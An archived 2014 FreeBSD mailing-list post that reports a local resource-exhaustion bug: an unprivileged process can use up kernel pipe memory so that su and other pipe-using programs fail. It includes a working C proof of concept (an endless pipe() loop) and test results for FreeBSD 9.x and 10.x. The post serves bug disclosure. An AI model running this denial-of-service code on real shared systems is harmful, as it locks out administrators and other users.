Date: Mon, 07 Apr 2014 13:02:22 +0200 From: Ivan Voras <ivoras@freebsd.org> To: freebsd-hackers@freebsd.org Subject: pipe() resource exhaustion Message-ID: <lhu0jv$r6n$1@ger.gmane.org>
next in thread | raw e-mail | index | archive | help
This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--gdAfTcbhoeCtfwdLfcCKIHSlfWI7e9a1I
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
Hello,
Last time I mentioned this it didn't get any attention, so I'll try
again. By accident (via a buggy synergy server process) I found that a
simple userland process can exhaust kernel pipe memory (kern.ipc.pipekva
sysctl) which as a consequence has that new processes which use pipe
cannot be started, which includes "su", by which an administrator could
kill such a process.
The description is simple enough, I don't think a proof of concept is
really needed, but here it is:
step 1:
run this as a normal, non-root user:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>
#include <string.h>
int main() {
int fd[2];
int is_error =3D 0;
while (1) {
if (pipe(fd) !=3D 0) {
if (!is_error) {
printf("%s\n", strerror(errno));
is_error =3D 1;
}
}
}
}
step 2:
try and fail to run "su" in another terminal:
$ su
Password:
su: pipe: Cannot allocate memory
I'm sure this has other implications as well :)
The problem isn't present on all systems: on some it looks like the
limit on fd's is reached faster than the limit on pipekva. Of 5 machines
I tested, 3 running 9.x and 2 running 10.x, both machines running 10.x
exhaust pipekva before fd's, while only one machine running 9.x did
that. Neither machine had increased fd limits above the autotuned default=
s.
Anecdotally, a machine which was running 9.x didn't experience this
problem with synergys, but it did when upgraded to 10.x with no change
to sysctl configuration.
--gdAfTcbhoeCtfwdLfcCKIHSlfWI7e9a1I
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (FreeBSD)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/
iKYEARECAGYFAlNChb9fFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl
bnBncC5maWZ0aGhvcnNlbWFuLm5ldDYxNDE4MkQ3ODMwNDAwMDJFRUIzNDhFNUZE
MDhENTA2M0RGRjFEMkMACgkQ/QjVBj3/HSwmBACfUp6EFuPaCZEs5TUNJshlu0g0
eSYAnj/TCZ0JYltGjs+L4aAfg0E44IVU
=c5/P
-----END PGP SIGNATURE-----
--gdAfTcbhoeCtfwdLfcCKIHSlfWI7e9a1I--
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?lhu0jv$r6n$1>